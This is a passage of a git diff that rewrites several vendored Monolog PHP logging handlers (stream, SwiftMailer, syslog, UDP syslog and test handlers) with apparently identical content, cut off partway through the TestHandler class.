{ + $this->validateTimeout($seconds); + $this->connectionTimeout = (float) $seconds; + } + + /** + * Set write timeout. Only has effect before we connect. + * + * @param float $seconds + * + * @see http://php.net/manual/en/function.stream-set-timeout.php + */ + public function setTimeout($seconds) + { + $this->validateTimeout($seconds); + $this->timeout = (float) $seconds; + } + + /** + * Set writing timeout. Only has effect during connection in the writing cycle. + * + * @param float $seconds 0 for no timeout + */ + public function setWritingTimeout($seconds) + { + $this->validateTimeout($seconds); + $this->writingTimeout = (float) $seconds; + } + + /** + * Set chunk size. Only has effect during connection in the writing cycle. + * + * @param float $bytes + */ + public function setChunkSize($bytes) + { + $this->chunkSize = $bytes; + } + + /** + * Get current connection string + * + * @return string + */ + public function getConnectionString() + { + return $this->connectionString; + } + + /** + * Get persistent setting + * + * @return bool + */ + public function isPersistent() + { + return $this->persistent; + } + + /** + * Get current connection timeout setting + * + * @return float + */ + public function getConnectionTimeout() + { + return $this->connectionTimeout; + } + + /** + * Get current in-transfer timeout + * + * @return float + */ + public function getTimeout() + { + return $this->timeout; + } + + /** + * Get current local writing timeout + * + * @return float + */ + public function getWritingTimeout() + { + return $this->writingTimeout; + } + + /** + * Get current chunk size + * + * @return float + */ + public function getChunkSize() + { + return $this->chunkSize; + } + + /** + * Check to see if the socket is currently available. + * + * UDP might appear to be connected but might fail when writing. See http://php.net/fsockopen for details. + * + * @return bool + */ + public function isConnected() + { + return is_resource($this->resource) + && !feof($this->resource); // on TCP - other party can close connection. + } + + /** + * Wrapper to allow mocking + */ + protected function pfsockopen() + { + return @pfsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); + } + + /** + * Wrapper to allow mocking + */ + protected function fsockopen() + { + return @fsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); + } + + /** + * Wrapper to allow mocking + * + * @see http://php.net/manual/en/function.stream-set-timeout.php + */ + protected function streamSetTimeout() + { + $seconds = floor($this->timeout); + $microseconds = round(($this->timeout - $seconds) * 1e6); + + return stream_set_timeout($this->resource, $seconds, $microseconds); + } + + /** + * Wrapper to allow mocking + * + * @see http://php.net/manual/en/function.stream-set-chunk-size.php + */ + protected function streamSetChunkSize() + { + return stream_set_chunk_size($this->resource, $this->chunkSize); + } + + /** + * Wrapper to allow mocking + */ + protected function fwrite($data) + { + return @fwrite($this->resource, $data); + } + + /** + * Wrapper to allow mocking + */ + protected function streamGetMetadata() + { + return stream_get_meta_data($this->resource); + } + + private function validateTimeout($value) + { + $ok = filter_var($value, FILTER_VALIDATE_FLOAT); + if ($ok === false || $value < 0) { + throw new \InvalidArgumentException("Timeout must be 0 or a positive float (got $value)"); + } + } + + private function connectIfNotConnected() + { + if ($this->isConnected()) { + return; + } + $this->connect(); + } + + protected function generateDataStream($record) + { + return (string) $record['formatted']; + } + + /** + * @return resource|null + */ + protected function getResource() + { + return $this->resource; + } + + private function connect() + { + $this->createSocketResource(); + $this->setSocketTimeout(); + $this->setStreamChunkSize(); + } + + private function createSocketResource() + { + if ($this->isPersistent()) { + $resource = $this->pfsockopen(); + } else { + $resource = $this->fsockopen(); + } + if (!$resource) { + throw new \UnexpectedValueException("Failed connecting to $this->connectionString ($this->errno: $this->errstr)"); + } + $this->resource = $resource; + } + + private function setSocketTimeout() + { + if (!$this->streamSetTimeout()) { + throw new \UnexpectedValueException("Failed setting timeout with stream_set_timeout()"); + } + } + + private function setStreamChunkSize() + { + if ($this->chunkSize && !$this->streamSetChunkSize()) { + throw new \UnexpectedValueException("Failed setting chunk size with stream_set_chunk_size()"); + } + } + + private function writeToSocket($data) + { + $length = strlen($data); + $sent = 0; + $this->lastSentBytes = $sent; + while ($this->isConnected() && $sent < $length) { + if (0 == $sent) { + $chunk = $this->fwrite($data); + } else { + $chunk = $this->fwrite(substr($data, $sent)); + } + if ($chunk === false) { + throw new \RuntimeException("Could not write to socket"); + } + $sent += $chunk; + $socketInfo = $this->streamGetMetadata(); + if ($socketInfo['timed_out']) { + throw new \RuntimeException("Write timed-out"); + } + + if ($this->writingIsTimedOut($sent)) { + throw new \RuntimeException("Write timed-out, no data sent for `{$this->writingTimeout}` seconds, probably we got disconnected (sent $sent of $length)"); + } + } + if (!$this->isConnected() && $sent < $length) { + throw new \RuntimeException("End-of-file reached, probably we got disconnected (sent $sent of $length)"); + } + } + + private function writingIsTimedOut($sent) + { + $writingTimeout = (int) floor($this->writingTimeout); + if (0 === $writingTimeout) { + return false; + } + + if ($sent !== $this->lastSentBytes) { + $this->lastWritingAt = time(); + $this->lastSentBytes = $sent; + + return false; + } else { + usleep(100); + } + + if ((time() - $this->lastWritingAt) >= $writingTimeout) { + $this->closeSocket(); + + return true; + } + + return false; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php index 3c21098871..ad6960cb22 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php @@ -1,179 +1,179 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Utils; - -/** - * Stores to any stream resource - * - * Can be used to store into php://stderr, remote and local files, etc. - * - * @author Jordi Boggiano - */ -class StreamHandler extends AbstractProcessingHandler -{ - protected $stream; - protected $url; - private $errorMessage; - protected $filePermission; - protected $useLocking; - private $dirCreated; - - /** - * @param resource|string $stream - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) - * @param bool $useLocking Try to lock log file before doing any writes - * - * @throws \Exception If a missing directory is not buildable - * @throws \InvalidArgumentException If stream is not a resource or string - */ - public function __construct($stream, $level = Logger::DEBUG, $bubble = true, $filePermission = null, $useLocking = false) - { - parent::__construct($level, $bubble); - if (is_resource($stream)) { - $this->stream = $stream; - } elseif (is_string($stream)) { - $this->url = Utils::canonicalizePath($stream); - } else { - throw new \InvalidArgumentException('A stream must either be a resource or a string.'); - } - - $this->filePermission = $filePermission; - $this->useLocking = $useLocking; - } - - /** - * {@inheritdoc} - */ - public function close() - { - if ($this->url && is_resource($this->stream)) { - fclose($this->stream); - } - $this->stream = null; - $this->dirCreated = null; - } - - /** - * Return the currently active stream if it is open - * - * @return resource|null - */ - public function getStream() - { - return $this->stream; - } - - /** - * Return the stream URL if it was configured with a URL and not an active resource - * - * @return string|null - */ - public function getUrl() - { - return $this->url; - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - if (!is_resource($this->stream)) { - if (null === $this->url || '' === $this->url) { - throw new \LogicException('Missing stream url, the stream can not be opened. This may be caused by a premature call to close().'); - } - $this->createDir(); - $this->errorMessage = null; - set_error_handler(array($this, 'customErrorHandler')); - $this->stream = fopen($this->url, 'a'); - if ($this->filePermission !== null) { - @chmod($this->url, $this->filePermission); - } - restore_error_handler(); - if (!is_resource($this->stream)) { - $this->stream = null; - - throw new \UnexpectedValueException(sprintf('The stream or file "%s" could not be opened in append mode: '.$this->errorMessage, $this->url)); - } - } - - if ($this->useLocking) { - // ignoring errors here, there's not much we can do about them - flock($this->stream, LOCK_EX); - } - - $this->streamWrite($this->stream, $record); - - if ($this->useLocking) { - flock($this->stream, LOCK_UN); - } - } - - /** - * Write to stream - * @param resource $stream - * @param array $record - */ - protected function streamWrite($stream, array $record) - { - fwrite($stream, (string) $record['formatted']); - } - - private function customErrorHandler($code, $msg) - { - $this->errorMessage = preg_replace('{^(fopen|mkdir)\(.*?\): }', '', $msg); - } - - /** - * @param string $stream - * - * @return null|string - */ - private function getDirFromStream($stream) - { - $pos = strpos($stream, '://'); - if ($pos === false) { - return dirname($stream); - } - - if ('file://' === substr($stream, 0, 7)) { - return dirname(substr($stream, 7)); - } - - return null; - } - - private function createDir() - { - // Do not try to create dir if it has already been tried. - if ($this->dirCreated) { - return; - } - - $dir = $this->getDirFromStream($this->url); - if (null !== $dir && !is_dir($dir)) { - $this->errorMessage = null; - set_error_handler(array($this, 'customErrorHandler')); - $status = mkdir($dir, 0777, true); - restore_error_handler(); - if (false === $status && !is_dir($dir)) { - throw new \UnexpectedValueException(sprintf('There is no existing directory at "%s" and its not buildable: '.$this->errorMessage, $dir)); - } - } - $this->dirCreated = true; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Utils; + +/** + * Stores to any stream resource + * + * Can be used to store into php://stderr, remote and local files, etc. + * + * @author Jordi Boggiano + */ +class StreamHandler extends AbstractProcessingHandler +{ + protected $stream; + protected $url; + private $errorMessage; + protected $filePermission; + protected $useLocking; + private $dirCreated; + + /** + * @param resource|string $stream + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) + * @param bool $useLocking Try to lock log file before doing any writes + * + * @throws \Exception If a missing directory is not buildable + * @throws \InvalidArgumentException If stream is not a resource or string + */ + public function __construct($stream, $level = Logger::DEBUG, $bubble = true, $filePermission = null, $useLocking = false) + { + parent::__construct($level, $bubble); + if (is_resource($stream)) { + $this->stream = $stream; + } elseif (is_string($stream)) { + $this->url = Utils::canonicalizePath($stream); + } else { + throw new \InvalidArgumentException('A stream must either be a resource or a string.'); + } + + $this->filePermission = $filePermission; + $this->useLocking = $useLocking; + } + + /** + * {@inheritdoc} + */ + public function close() + { + if ($this->url && is_resource($this->stream)) { + fclose($this->stream); + } + $this->stream = null; + $this->dirCreated = null; + } + + /** + * Return the currently active stream if it is open + * + * @return resource|null + */ + public function getStream() + { + return $this->stream; + } + + /** + * Return the stream URL if it was configured with a URL and not an active resource + * + * @return string|null + */ + public function getUrl() + { + return $this->url; + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + if (!is_resource($this->stream)) { + if (null === $this->url || '' === $this->url) { + throw new \LogicException('Missing stream url, the stream can not be opened. This may be caused by a premature call to close().'); + } + $this->createDir(); + $this->errorMessage = null; + set_error_handler(array($this, 'customErrorHandler')); + $this->stream = fopen($this->url, 'a'); + if ($this->filePermission !== null) { + @chmod($this->url, $this->filePermission); + } + restore_error_handler(); + if (!is_resource($this->stream)) { + $this->stream = null; + + throw new \UnexpectedValueException(sprintf('The stream or file "%s" could not be opened in append mode: '.$this->errorMessage, $this->url)); + } + } + + if ($this->useLocking) { + // ignoring errors here, there's not much we can do about them + flock($this->stream, LOCK_EX); + } + + $this->streamWrite($this->stream, $record); + + if ($this->useLocking) { + flock($this->stream, LOCK_UN); + } + } + + /** + * Write to stream + * @param resource $stream + * @param array $record + */ + protected function streamWrite($stream, array $record) + { + fwrite($stream, (string) $record['formatted']); + } + + private function customErrorHandler($code, $msg) + { + $this->errorMessage = preg_replace('{^(fopen|mkdir)\(.*?\): }', '', $msg); + } + + /** + * @param string $stream + * + * @return null|string + */ + private function getDirFromStream($stream) + { + $pos = strpos($stream, '://'); + if ($pos === false) { + return dirname($stream); + } + + if ('file://' === substr($stream, 0, 7)) { + return dirname(substr($stream, 7)); + } + + return null; + } + + private function createDir() + { + // Do not try to create dir if it has already been tried. + if ($this->dirCreated) { + return; + } + + $dir = $this->getDirFromStream($this->url); + if (null !== $dir && !is_dir($dir)) { + $this->errorMessage = null; + set_error_handler(array($this, 'customErrorHandler')); + $status = mkdir($dir, 0777, true); + restore_error_handler(); + if (false === $status && !is_dir($dir)) { + throw new \UnexpectedValueException(sprintf('There is no existing directory at "%s" and its not buildable: '.$this->errorMessage, $dir)); + } + } + $this->dirCreated = true; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php index 867e271e3f..ac7b16ff87 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php @@ -1,111 +1,111 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Formatter\FormatterInterface; -use Monolog\Formatter\LineFormatter; -use Swift; - -/** - * SwiftMailerHandler uses Swift_Mailer to send the emails - * - * @author Gyula Sallai - */ -class SwiftMailerHandler extends MailHandler -{ - protected $mailer; - private $messageTemplate; - - /** - * @param \Swift_Mailer $mailer The mailer to use - * @param callable|\Swift_Message $message An example message for real messages, only the body will be replaced - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct(\Swift_Mailer $mailer, $message, $level = Logger::ERROR, $bubble = true) - { - parent::__construct($level, $bubble); - - $this->mailer = $mailer; - $this->messageTemplate = $message; - } - - /** - * {@inheritdoc} - */ - protected function send($content, array $records) - { - $this->mailer->send($this->buildMessage($content, $records)); - } - - /** - * Gets the formatter for the Swift_Message subject. - * - * @param string $format The format of the subject - * @return FormatterInterface - */ - protected function getSubjectFormatter($format) - { - return new LineFormatter($format); - } - - /** - * Creates instance of Swift_Message to be sent - * - * @param string $content formatted email body to be sent - * @param array $records Log records that formed the content - * @return \Swift_Message - */ - protected function buildMessage($content, array $records) - { - $message = null; - if ($this->messageTemplate instanceof \Swift_Message) { - $message = clone $this->messageTemplate; - $message->generateId(); - } elseif (is_callable($this->messageTemplate)) { - $message = call_user_func($this->messageTemplate, $content, $records); - } - - if (!$message instanceof \Swift_Message) { - throw new \InvalidArgumentException('Could not resolve message as instance of Swift_Message or a callable returning it'); - } - - if ($records) { - $subjectFormatter = $this->getSubjectFormatter($message->getSubject()); - $message->setSubject($subjectFormatter->format($this->getHighestRecord($records))); - } - - $message->setBody($content); - if (version_compare(Swift::VERSION, '6.0.0', '>=')) { - $message->setDate(new \DateTimeImmutable()); - } else { - $message->setDate(time()); - } - - return $message; - } - - /** - * BC getter, to be removed in 2.0 - */ - public function __get($name) - { - if ($name === 'message') { - trigger_error('SwiftMailerHandler->message is deprecated, use ->buildMessage() instead to retrieve the message', E_USER_DEPRECATED); - - return $this->buildMessage(null, array()); - } - - throw new \InvalidArgumentException('Invalid property '.$name); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Formatter\FormatterInterface; +use Monolog\Formatter\LineFormatter; +use Swift; + +/** + * SwiftMailerHandler uses Swift_Mailer to send the emails + * + * @author Gyula Sallai + */ +class SwiftMailerHandler extends MailHandler +{ + protected $mailer; + private $messageTemplate; + + /** + * @param \Swift_Mailer $mailer The mailer to use + * @param callable|\Swift_Message $message An example message for real messages, only the body will be replaced + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct(\Swift_Mailer $mailer, $message, $level = Logger::ERROR, $bubble = true) + { + parent::__construct($level, $bubble); + + $this->mailer = $mailer; + $this->messageTemplate = $message; + } + + /** + * {@inheritdoc} + */ + protected function send($content, array $records) + { + $this->mailer->send($this->buildMessage($content, $records)); + } + + /** + * Gets the formatter for the Swift_Message subject. + * + * @param string $format The format of the subject + * @return FormatterInterface + */ + protected function getSubjectFormatter($format) + { + return new LineFormatter($format); + } + + /** + * Creates instance of Swift_Message to be sent + * + * @param string $content formatted email body to be sent + * @param array $records Log records that formed the content + * @return \Swift_Message + */ + protected function buildMessage($content, array $records) + { + $message = null; + if ($this->messageTemplate instanceof \Swift_Message) { + $message = clone $this->messageTemplate; + $message->generateId(); + } elseif (is_callable($this->messageTemplate)) { + $message = call_user_func($this->messageTemplate, $content, $records); + } + + if (!$message instanceof \Swift_Message) { + throw new \InvalidArgumentException('Could not resolve message as instance of Swift_Message or a callable returning it'); + } + + if ($records) { + $subjectFormatter = $this->getSubjectFormatter($message->getSubject()); + $message->setSubject($subjectFormatter->format($this->getHighestRecord($records))); + } + + $message->setBody($content); + if (version_compare(Swift::VERSION, '6.0.0', '>=')) { + $message->setDate(new \DateTimeImmutable()); + } else { + $message->setDate(time()); + } + + return $message; + } + + /** + * BC getter, to be removed in 2.0 + */ + public function __get($name) + { + if ($name === 'message') { + trigger_error('SwiftMailerHandler->message is deprecated, use ->buildMessage() instead to retrieve the message', E_USER_DEPRECATED); + + return $this->buildMessage(null, array()); + } + + throw new \InvalidArgumentException('Invalid property '.$name); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SyslogHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/SyslogHandler.php index 65a505dd2b..f770c80284 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SyslogHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SyslogHandler.php @@ -1,67 +1,67 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * Logs to syslog service. - * - * usage example: - * - * $log = new Logger('application'); - * $syslog = new SyslogHandler('myfacility', 'local6'); - * $formatter = new LineFormatter("%channel%.%level_name%: %message% %extra%"); - * $syslog->setFormatter($formatter); - * $log->pushHandler($syslog); - * - * @author Sven Paulus - */ -class SyslogHandler extends AbstractSyslogHandler -{ - protected $ident; - protected $logopts; - - /** - * @param string $ident - * @param mixed $facility - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param int $logopts Option flags for the openlog() call, defaults to LOG_PID - */ - public function __construct($ident, $facility = LOG_USER, $level = Logger::DEBUG, $bubble = true, $logopts = LOG_PID) - { - parent::__construct($facility, $level, $bubble); - - $this->ident = $ident; - $this->logopts = $logopts; - } - - /** - * {@inheritdoc} - */ - public function close() - { - closelog(); - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - if (!openlog($this->ident, $this->logopts, $this->facility)) { - throw new \LogicException('Can\'t open syslog for ident "'.$this->ident.'" and facility "'.$this->facility.'"'); - } - syslog($this->logLevels[$record['level']], (string) $record['formatted']); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * Logs to syslog service. + * + * usage example: + * + * $log = new Logger('application'); + * $syslog = new SyslogHandler('myfacility', 'local6'); + * $formatter = new LineFormatter("%channel%.%level_name%: %message% %extra%"); + * $syslog->setFormatter($formatter); + * $log->pushHandler($syslog); + * + * @author Sven Paulus + */ +class SyslogHandler extends AbstractSyslogHandler +{ + protected $ident; + protected $logopts; + + /** + * @param string $ident + * @param mixed $facility + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param int $logopts Option flags for the openlog() call, defaults to LOG_PID + */ + public function __construct($ident, $facility = LOG_USER, $level = Logger::DEBUG, $bubble = true, $logopts = LOG_PID) + { + parent::__construct($facility, $level, $bubble); + + $this->ident = $ident; + $this->logopts = $logopts; + } + + /** + * {@inheritdoc} + */ + public function close() + { + closelog(); + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + if (!openlog($this->ident, $this->logopts, $this->facility)) { + throw new \LogicException('Can\'t open syslog for ident "'.$this->ident.'" and facility "'.$this->facility.'"'); + } + syslog($this->logLevels[$record['level']], (string) $record['formatted']); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdp/UdpSocket.php b/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdp/UdpSocket.php index 85ed9d9801..3bff085bfa 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdp/UdpSocket.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdp/UdpSocket.php @@ -1,56 +1,56 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler\SyslogUdp; - -class UdpSocket -{ - const DATAGRAM_MAX_LENGTH = 65023; - - protected $ip; - protected $port; - protected $socket; - - public function __construct($ip, $port = 514) - { - $this->ip = $ip; - $this->port = $port; - $this->socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); - } - - public function write($line, $header = "") - { - $this->send($this->assembleMessage($line, $header)); - } - - public function close() - { - if (is_resource($this->socket)) { - socket_close($this->socket); - $this->socket = null; - } - } - - protected function send($chunk) - { - if (!is_resource($this->socket)) { - throw new \LogicException('The UdpSocket to '.$this->ip.':'.$this->port.' has been closed and can not be written to anymore'); - } - socket_sendto($this->socket, $chunk, strlen($chunk), $flags = 0, $this->ip, $this->port); - } - - protected function assembleMessage($line, $header) - { - $chunkSize = self::DATAGRAM_MAX_LENGTH - strlen($header); - - return $header . substr($line, 0, $chunkSize); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler\SyslogUdp; + +class UdpSocket +{ + const DATAGRAM_MAX_LENGTH = 65023; + + protected $ip; + protected $port; + protected $socket; + + public function __construct($ip, $port = 514) + { + $this->ip = $ip; + $this->port = $port; + $this->socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); + } + + public function write($line, $header = "") + { + $this->send($this->assembleMessage($line, $header)); + } + + public function close() + { + if (is_resource($this->socket)) { + socket_close($this->socket); + $this->socket = null; + } + } + + protected function send($chunk) + { + if (!is_resource($this->socket)) { + throw new \LogicException('The UdpSocket to '.$this->ip.':'.$this->port.' has been closed and can not be written to anymore'); + } + socket_sendto($this->socket, $chunk, strlen($chunk), $flags = 0, $this->ip, $this->port); + } + + protected function assembleMessage($line, $header) + { + $chunkSize = self::DATAGRAM_MAX_LENGTH - strlen($header); + + return $header . substr($line, 0, $chunkSize); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdpHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdpHandler.php index 7cd234dc35..4dfd5f5ec9 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdpHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdpHandler.php @@ -1,124 +1,124 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Handler\SyslogUdp\UdpSocket; - -/** - * A Handler for logging to a remote syslogd server. - * - * @author Jesper Skovgaard Nielsen - * @author Dominik Kukacka - */ -class SyslogUdpHandler extends AbstractSyslogHandler -{ - const RFC3164 = 0; - const RFC5424 = 1; - - private $dateFormats = array( - self::RFC3164 => 'M d H:i:s', - self::RFC5424 => \DateTime::RFC3339, - ); - - protected $socket; - protected $ident; - protected $rfc; - - /** - * @param string $host - * @param int $port - * @param mixed $facility - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param string $ident Program name or tag for each log message. - * @param int $rfc RFC to format the message for. - */ - public function __construct($host, $port = 514, $facility = LOG_USER, $level = Logger::DEBUG, $bubble = true, $ident = 'php', $rfc = self::RFC5424) - { - parent::__construct($facility, $level, $bubble); - - $this->ident = $ident; - $this->rfc = $rfc; - - $this->socket = new UdpSocket($host, $port ?: 514); - } - - protected function write(array $record) - { - $lines = $this->splitMessageIntoLines($record['formatted']); - - $header = $this->makeCommonSyslogHeader($this->logLevels[$record['level']]); - - foreach ($lines as $line) { - $this->socket->write($line, $header); - } - } - - public function close() - { - $this->socket->close(); - } - - private function splitMessageIntoLines($message) - { - if (is_array($message)) { - $message = implode("\n", $message); - } - - return preg_split('/$\R?^/m', $message, -1, PREG_SPLIT_NO_EMPTY); - } - - /** - * Make common syslog header (see rfc5424 or rfc3164) - */ - protected function makeCommonSyslogHeader($severity) - { - $priority = $severity + $this->facility; - - if (!$pid = getmypid()) { - $pid = '-'; - } - - if (!$hostname = gethostname()) { - $hostname = '-'; - } - - $date = $this->getDateTime(); - - if ($this->rfc === self::RFC3164) { - return "<$priority>" . - $date . " " . - $hostname . " " . - $this->ident . "[" . $pid . "]: "; - } else { - return "<$priority>1 " . - $date . " " . - $hostname . " " . - $this->ident . " " . - $pid . " - - "; - } - } - - protected function getDateTime() - { - return date($this->dateFormats[$this->rfc]); - } - - /** - * Inject your own socket, mainly used for testing - */ - public function setSocket($socket) - { - $this->socket = $socket; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Handler\SyslogUdp\UdpSocket; + +/** + * A Handler for logging to a remote syslogd server. + * + * @author Jesper Skovgaard Nielsen + * @author Dominik Kukacka + */ +class SyslogUdpHandler extends AbstractSyslogHandler +{ + const RFC3164 = 0; + const RFC5424 = 1; + + private $dateFormats = array( + self::RFC3164 => 'M d H:i:s', + self::RFC5424 => \DateTime::RFC3339, + ); + + protected $socket; + protected $ident; + protected $rfc; + + /** + * @param string $host + * @param int $port + * @param mixed $facility + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param string $ident Program name or tag for each log message. + * @param int $rfc RFC to format the message for. + */ + public function __construct($host, $port = 514, $facility = LOG_USER, $level = Logger::DEBUG, $bubble = true, $ident = 'php', $rfc = self::RFC5424) + { + parent::__construct($facility, $level, $bubble); + + $this->ident = $ident; + $this->rfc = $rfc; + + $this->socket = new UdpSocket($host, $port ?: 514); + } + + protected function write(array $record) + { + $lines = $this->splitMessageIntoLines($record['formatted']); + + $header = $this->makeCommonSyslogHeader($this->logLevels[$record['level']]); + + foreach ($lines as $line) { + $this->socket->write($line, $header); + } + } + + public function close() + { + $this->socket->close(); + } + + private function splitMessageIntoLines($message) + { + if (is_array($message)) { + $message = implode("\n", $message); + } + + return preg_split('/$\R?^/m', $message, -1, PREG_SPLIT_NO_EMPTY); + } + + /** + * Make common syslog header (see rfc5424 or rfc3164) + */ + protected function makeCommonSyslogHeader($severity) + { + $priority = $severity + $this->facility; + + if (!$pid = getmypid()) { + $pid = '-'; + } + + if (!$hostname = gethostname()) { + $hostname = '-'; + } + + $date = $this->getDateTime(); + + if ($this->rfc === self::RFC3164) { + return "<$priority>" . + $date . " " . + $hostname . " " . + $this->ident . "[" . $pid . "]: "; + } else { + return "<$priority>1 " . + $date . " " . + $hostname . " " . + $this->ident . " " . + $pid . " - - "; + } + } + + protected function getDateTime() + { + return date($this->dateFormats[$this->rfc]); + } + + /** + * Inject your own socket, mainly used for testing + */ + public function setSocket($socket) + { + $this->socket = $socket; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/TestHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/TestHandler.php index 0fc310f880..478db0ac00 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/TestHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/TestHandler.php @@ -1,177 +1,177 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -/** - * Used for testing purposes. - * - * It records all records and gives you access to them for verification. - * - * @author Jordi Boggiano - * - * @method bool hasEmergency($record) - * @method bool hasAlert($record) - * @method bool hasCritical($record) - * @method bool hasError($record) - * @method bool hasWarning($record) - * @method bool hasNotice($record) - * @method bool hasInfo($record) - * @method bool hasDebug($record) - * - * @method bool hasEmergencyRecords() - * @method bool hasAlertRecords() - * @method bool hasCriticalRecords() - * @method bool hasErrorRecords() - * @method bool hasWarningRecords() - * @method bool hasNoticeRecords() - * @method bool hasInfoRecords() - * @method bool hasDebugRecords() - * - * @method bool hasEmergencyThatContains($message) - * @method bool hasAlertThatContains($message) - * @method bool hasCriticalThatContains($message) - * @method bool hasErrorThatContains($message) - * @method bool hasWarningThatContains($message) - * @method bool hasNoticeThatContains($message) - * @method bool hasInfoThatContains($message) - * @method bool hasDebugThatContains($message) - * - * @method bool hasEmergencyThatMatches($message) - * @method bool hasAlertThatMatches($message) - * @method bool hasCriticalThatMatches($message) - * @method bool hasErrorThatMatches($message) - * @method bool hasWarningThatMatches($message) - * @method bool hasNoticeThatMatches($message) - * @method bool hasInfoThatMatches($message) - * @method bool hasDebugThatMatches($message) - * - * @method bool hasEmergencyThatPasses($message) - * @method bool hasAlertThatPasses($message) - * @method bool hasCriticalThatPasses($message) - * @method bool hasErrorThatPasses($message) - * @method bool hasWarningThatPasses($message) - * @method bool hasNoticeThatPasses($message) - * @method bool hasInfoThatPasses($message) - * @method bool hasDebugThatPasses($message) - */ -class TestHandler extends AbstractProcessingHandler -{ - protected $records = array(); - protected $recordsByLevel = array(); - private $skipReset = false; - - public function getRecords() - { - return $this->records; - } - - public function clear() - { - $this->records = array(); - $this->recordsByLevel = array(); - } - - public function reset() - { - if (!$this->skipReset) { - $this->clear(); - } - } - - public function setSkipReset($skipReset) - { - $this->skipReset = $skipReset; - } - - public function hasRecords($level) - { - return isset($this->recordsByLevel[$level]); - } - - /** - * @param string|array $record Either a message string or an array containing message and optionally context keys that will be checked against all records - * @param int $level Logger::LEVEL constant value - */ - public function hasRecord($record, $level) - { - if (is_string($record)) { - $record = array('message' => $record); - } - - return $this->hasRecordThatPasses(function ($rec) use ($record) { - if ($rec['message'] !== $record['message']) { - return false; - } - if (isset($record['context']) && $rec['context'] !== $record['context']) { - return false; - } - return true; - }, $level); - } - - public function hasRecordThatContains($message, $level) - { - return $this->hasRecordThatPasses(function ($rec) use ($message) { - return strpos($rec['message'], $message) !== false; - }, $level); - } - - public function hasRecordThatMatches($regex, $level) - { - return $this->hasRecordThatPasses(function ($rec) use ($regex) { - return preg_match($regex, $rec['message']) > 0; - }, $level); - } - - public function hasRecordThatPasses($predicate, $level) - { - if (!is_callable($predicate)) { - throw new \InvalidArgumentException("Expected a callable for 